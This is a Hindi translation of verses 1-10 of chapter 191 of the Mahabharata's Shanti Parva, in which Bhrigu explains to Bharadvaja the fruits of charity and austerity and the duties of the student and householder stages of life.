महाभारत शान्ति पर्व अध्याय 191 श्लोक 1-10

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एकनवत्‍यधिकशततम (191) अध्याय: शान्ति पर्व (मोक्षधर्म पर्व)

महाभारत: शान्ति पर्व: एकनवत्‍यधिकशततम अध्याय: श्लोक 1-10 का हिन्दी अनुवाद

ब्रह्मचर्य और गार्हस्‍थ्‍य आश्रमों के धर्म का वर्णन

भरद्वाज ने पूछा- ब्रह्मन्! आचरण में लाये हुए दानरूप धर्म का, भलीभांति की हुई तपस्‍या का तथा स्‍वाध्‍याय और अग्निहोत्र का क्‍या फल बताया गया है? भृगु जी ने कहा- मुने! अग्निहोत्र से पाप का निवारण किया जाता है, स्‍वाध्‍याय से उत्तम शांति मिलती है, दान से भेागों की प्राप्ति बतायी गयी है और तपस्‍या से मनुष्‍य स्‍वर्गलोक प्राप्‍त कर लेता है। दान दो प्रकार का बताया जाता है- एक परलोक के लिये है और दूसरा इहलोक के लिये। सत्‍पुरषों को जो कुछ दिया जाता है, वह दान परलोक में अपना फल देने के लिये उपस्थित होता है और असत्‍पुरूषों को जो दान दिया जाता है, उसका फल यहीं भोगा जाता है। जैसा दान दिया जाता है, वैसा ही उसका फल भी भोगने में आता है। भरद्वाज ने पूछा- ब्रह्मन्! किंसका धर्माचरण कैसा होता है अथवा धर्म का लक्षण क्‍या है? या धर्म के कितने भेद हैं? यह सब आप मूझे बताने की कृपा करें। भृगु जी ने कहा- मुने! जो मनीषी पुरूष अपने वर्णाश्रमोचित धर्म के आचरण में सावधानी के साथ लगे रहते हैं, उन्‍हें स्‍वर्गरूपी फल की प्राप्ति होती है। जो इसके विपरित अधर्म का आचरण करता है, वह मोह के वशीभूत होता है। भरद्वाज ॠषि ने पूछा- भगवन्! ब्रह्मर्षियों ने पूर्वकाल में जो चार आश्रमों का विभाग किया है, उनके अपने–अपने धर्म क्‍या हैं? उन्‍हें बताने की कृपा कीजिये। भृगुजी ने कहा- मुने! जगत् का कल्‍याण करने वाले भगवान ब्रह्मा ने पूर्वकाल में ही धर्म की रक्षा के लिये चार आश्रमों का निर्देश किया था। उनमें से ब्रह्मचर्यपालन पूर्वक गुरूकुलवासको ही पहला आश्रम कहते हैं। उसमें रहने वाले ब्रह्मचारी को बाहर–भीतर की शुद्धि, वैदिक संस्‍कार तथा व्रत–नियमों का पालन करते हुए अपने मन को वश में रखना चाहिये । सुबह और शाम दोनों संध्‍याओं के समय संध्‍योपासना, सूर्योपस्‍थान और अग्निहोत्र के द्वारा अग्निदेव की आराधना करना चाहिये। तन्‍द्रा और आलस्‍य को त्‍यागकर प्रतिदिन गुरू को प्रणाम करे और वेदों के अभ्‍यास तथा श्रवण से अपनी अन्‍तरात्‍मा को पवित्र करे । सबेरे, शाम और दोपहर तीनों समय स्‍नान करे ।ब्रह्मचर्य का पालन,अग्निकी उपासना और गुरू की सेवा करे । प्रतिदिन भिक्षा मांगकर लाये ।भिक्षा में जो कुछ प्राप्‍त हो, वह सब गुरू को अर्पण कर दे। अपनी अंतरात्‍मा को भी गुरू के चरणों में निछावर कर दे। गुरूजी जो कुछ कहें, जिसके लिये संकेत करें और जिस कार्य के निमित्त स्‍पष्‍ट शब्‍दों में आज्ञा दें, उसके विपरीत आचरण न करे। गुरू के कृपाप्रसाद से मिले हुए स्‍वाध्‍याय में तत्‍पर होवे । इस विषय में यह श्‍लोक है- जो द्विज गुरू की आराधना करके वेदाध्‍ययन करता है, उसे स्‍वर्गलोक की प्राप्ति होती है और उसका मानसिक संकल्‍प सिद्ध होता है। गार्हस्‍थ्‍य को दूसरा आश्रम कहते हैं। अब हम उसमें पालन करने योग्‍य समस्‍त उत्तम आचरणों की व्‍याख्‍या करेंगे। जो सदाचार का पालन करने वाले ब्रह्मचारी विघा पढ़कर गुरूकुल से स्‍नातक होकर लौटते हैं, उन्‍हें यदि सहधर्मिणी के साथ रहकर धर्माचरण करने और उसका फल पाने की इच्‍छा हो तो उनके लिये गृहस्‍थाश्रम में प्रवेश करने की विधि है । इस आश्रम में धर्म, अर्थ और काम तीनों की प्राप्ति होती है; इसलिये त्रिवर्गसाधन की इच्‍छा रखकर गृहस्‍थ को उत्तम कर्म के द्वारा धन संग्रह करना चाहिये, अर्थात् वह स्‍वाध्‍याय से प्राप्‍त हुई विशिष्‍ट योग्‍यता से, ब्रह्मर्षियों द्वारा धर्मशास्‍त्रों में निश्चित किये हुए मार्ग से अथवा पर्वत से उपलब्‍ध हुए उसके सारभूत मणि रत्‍न, दिव्‍यौषधि एवं स्‍वर्ण आदि से धनका संचय करे। अथवा हव्‍य (यज्ञ), कव्‍य (श्राद्ध), नियम, वेदाभ्‍यास तथा देवताओं की प्रसन्‍नता से प्राप्‍त धन के द्वारा गृहस्‍थ पुरूष अपनी गृहस्‍थी का निर्वाह करे; क्‍योंकि गृहस्‍थ आश्रम को सब आश्रमों का मूल कहते हैं। गुरूकुल में निवास करने वाले ब्रह्मचारी, वन में रहकर संकल्‍प के अनुसार व्रत, नियम तथा धर्मों का पालन करने वाले अन्‍यान्‍य वानप्रस्‍थ एवं सब कुछ त्‍यागकर सर्वत्र विचरनेवाले संयासी भी इस गृहस्‍थाश्रम से ही भिक्षा, भेंट, उपहार तथा आदि पाकर अपने–अपने धर्म के पालन में प्रवृत्त होते हैं।


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टीका टिप्पणी और संदर्भ

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